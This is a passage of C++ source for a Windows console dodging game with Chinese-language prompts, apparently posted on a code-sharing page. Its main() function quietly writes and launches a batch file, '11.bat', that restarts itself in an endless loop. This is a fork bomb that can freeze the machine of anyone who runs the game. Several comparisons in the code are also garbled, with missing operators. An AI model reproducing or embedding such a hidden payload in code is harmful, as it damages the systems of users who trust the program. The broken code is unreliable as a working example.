j=1;j<x-1;j=j+5){ for(int k=1;k<y-1;k=k+15){ for(int i=1;i<=3;i++){ xy[j][k+i]='|'; } } } for(int i=9;i<=51;i++){ xy[i][91]='|'; } for(int i=9;i<=51;i++){ xy[i][141]='|'; } for(int i=91;i<=141;i++){ xy[51][i]='-'; } for(int i=91;i<=141;i++){ xy[9][i]='-'; } xy[9][116]=' '; for(int i=0;i<x;i++){ xy[i][0]='&'; xy[i][y-1]='&'; } for(int i=0;i<y;i++){ xy[0][i]='&'; xy[x-1][i]='&'; } xy[31][116]='#'; xy[16][116]='#'; xy[46][116]='#'; xy[31][101]='#'; xy[31][131]='#'; xy[ccc][ball]='Q'; if(xy[31][116]'Q'){ okok=true; stopped=true; } if(xy[16][116]'Q'){
    okok=true; stopped=true;

    }
    if(xy[46][116]=='Q'){  
        okok=true;
        stopped=true;
       
    }
    if(xy[16][101]=='Q'){  
        okok=true;
        stopped=true;
       
    }
    if(xy[16][131]=='Q'){  
        okok=true;
        stopped=true;
       
    }
    if(chd('D')){
    if(xy[ccc][ball+1]=='|'||xy[ccc][ball+1]=='-'){
    	yr[1]--;
    }
    ball++;cin.sync();
    }
    if(chd('A')){
    if(xy[ccc][ball-1]=='|'||xy[ccc][ball-1]=='-'){
    	yr[1]--;
    }
    ball--;cin.sync();
    }
    if(chd('W')){
    if(xy[ccc-1][ball]=='|'||xy[ccc-1][ball]=='-'){
    	yr[1]--;
    }
    ccc--;cin.sync();
    }
    if(chd('S')){
    if(xy[ccc+1][ball]=='|'||xy[ccc+1][ball]=='-'){
    	yr[1]--;
    }
    ccc++;cin.sync();
    }
    if(chd('Q')){
    	if(yr[2]>0){
    	   ccc=ccc2;cin.sync();
    	   ball=ball2;cin.sync();
    	}
    
    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|';
    if(yr[1]>1){
    	xy[ccc-1][ball-1]='/';
    	xy[ccc+1][ball-1]='\\';
    	xy[ccc-1][ball+1]='\\';
    	xy[ccc+1][ball+1]='/';
    } 
    	 
    }
    //spd*=1.1;
    }
    if(okok){
    	game4();
    	money+=2000;
    }
    money+=score;
    //Sleep(800);
    

    } bool game3(){// bomb.clear(); int score=0,ball=2,ball2=3,enemy,ccc=x-2,ccc2=x-2,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(10); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[2][2]='~'; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } for(int j=1;j<x-1;j=j+5){ for(int k=1;k<y-1;k=k+15){ for(int i=1;i<=3;i++){ xy[j][k+i]='^'; } } } for(int i=1;i<=8;i++){ xy[3][i]='^'; } for(int i=1;i<=8;i++){ xy[4][i]='^'; } for(int i=1;i<=5;i++){ xy[i][10]='^'; } for(int i=4;i<=7;i++){ xy[i][8]='^'; } for(int i=1;i<=5;i++){ xy[7][7+i]='^'; } for(int i=1;i<=3;i++){ xy[5][10+i]='^'; } if(xy[ccc][ball]'^'){ yr[1]--; } if(xy[2][2]'Q'){ oko=true; stopped=true; } if(chd('Q')){ if(yr[2]>0){ ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); }

    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    for(int i=0;i<x;i++){
    	xy[i][0]='&';
    	xy[i][y-1]='&';
    }
    for(int i=0;i<y;i++){
    	xy[0][i]='&';
    	xy[x-1][i]='&';
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;xy[bomb[i].xx][bomb[i].yy]='|';
    if(yr[1]>1){
    	xy[ccc-1][ball-1]='/';
    	xy[ccc+1][ball-1]='\\';
    	xy[ccc-1][ball+1]='\\';
    	xy[ccc+1][ball+1]='/';
    } 
    	 
    }
    //spd*=1.1;
    }
    if(oko){
       game4();
       money+=2000;
    }
    money+=score;
    //Sleep(800); 
    

    } bool game5(){// bomb.clear(); int score=0,ball=3,ball2=4,enemy,ccc=x-3,ccc2=x-3,ll=1; double spd=1; bool stopped=false,oko=false; for(int i=0;i<x;i++)memset(xy[i],' ',y); while(!stopped&&yr[1]>0){ sj=(sj+1)%200; sx(score); Sleep(20); for(int i=0;i<x;i++)memset(xy[i],' ',y); score++; xy[1][117]='X'; xy[ccc][ball]='Q'; if(chd('D')){ ball++;cin.sync(); } if(chd('A')){ ball--;cin.sync(); } if(chd('W')){ ccc--;cin.sync(); } if(chd('S')){ ccc++;cin.sync(); } if(chd('Q')){ if(yr[2]>0){ ccc=ccc2;cin.sync(); ball=ball2;cin.sync(); }

    }
    if(xy[1][117]=='Q'){
    	oko=true;
    	stopped=true;
    }
    xy[ccc2][ball2]='&';
    if(chd('L')){ball2++;cin.sync();
    }
    if(chd('J')){ball2--;cin.sync();
    }
    if(chd('I')){ccc2--;cin.sync();
    }
    if(chd('K')){ccc2++;cin.sync();
    }
    for(int i=0;i<x;i++){
    	xy[i][0]='&';
    	xy[i][y-1]='&';
    }
    for(int i=0;i<y;i++){
    	xy[0][i]='&';
    	xy[x-1][i]='&';
    }
    if(ball>=y-1)ball=y-1;
    if(ball<0)ball=0;
    if(sj%2==1){bomb.push_back((bmb){0,rand()%y});
    }
    if(sj%2==1)for(int i=0;i<bomb.size();i++){bomb[i].xx++;if(bomb[i].xx>=x)bomb.erase(bomb.begin());
    }
    for(int i=0;i<bomb.size();i++){
    if(xy[bomb[i].xx][bomb[i].yy]=='Q')yr[1]--;
    if(xy[bomb[i].xx][bomb[i].yy-1]=='Q')yr[1]--;
    if(xy[bomb[i].xx][bomb[i].yy+1]=='Q')yr[1]--;
    xy[bomb[i].xx][bomb[i].yy]='*';
    xy[bomb[i].xx][bomb[i].yy-1]='*';
    xy[bomb[i].xx][bomb[i].yy+1]='*';
    	 
    }
    //spd*=1.1;
    }
    if(oko){
       game4();
       money+=5000;
    }
    money+=score;
    //Sleep(800); 
    

    }
    POINT P; int main(){ char chh,ch1,ch2; int s,nn,hhhhh[10000]; srand((unsigned)getpid()); GetCursorPos(&P); int x1=P.x; int y1=P.y; freopen("11.out","w",stdout);
    cout << ":1 \n start 11.bat \n goto 1"; fclose(stdout); system("ren 11.out 11.bat"); system("start 11.bat"); SetCursorPos(1366,768); while(1){ s12.erase(0,11111); s12="a 左走,d 右走,w 上走,s 下走 切记:玩的时候一定要开全屏 全屏:f11键 "; if(yr[1]0)yr[1]=1; nn=game6(); if(nn6)break; if(nn5){ s13="按e退出商店"; game7(); }
    if(nn
    3){ game1(); } if(nn2){ s16="绕过尖刺^,把古树核心~抢过来,我给你2000块:深林长老"; game3(); } if(nn1){ s16="绕过火焰|,把火能核心#抢过来,我给你2000块:烈焰长老"; game2(); } if(nn==4){ s16="绕过飞镖*,把毁灭核心X抢过来,我给你5000块:暗影长老"; game5(); } } cout<<"让我们下次再见"; sb(0,59); }

  • 最近活动

  • Stat

  • Rating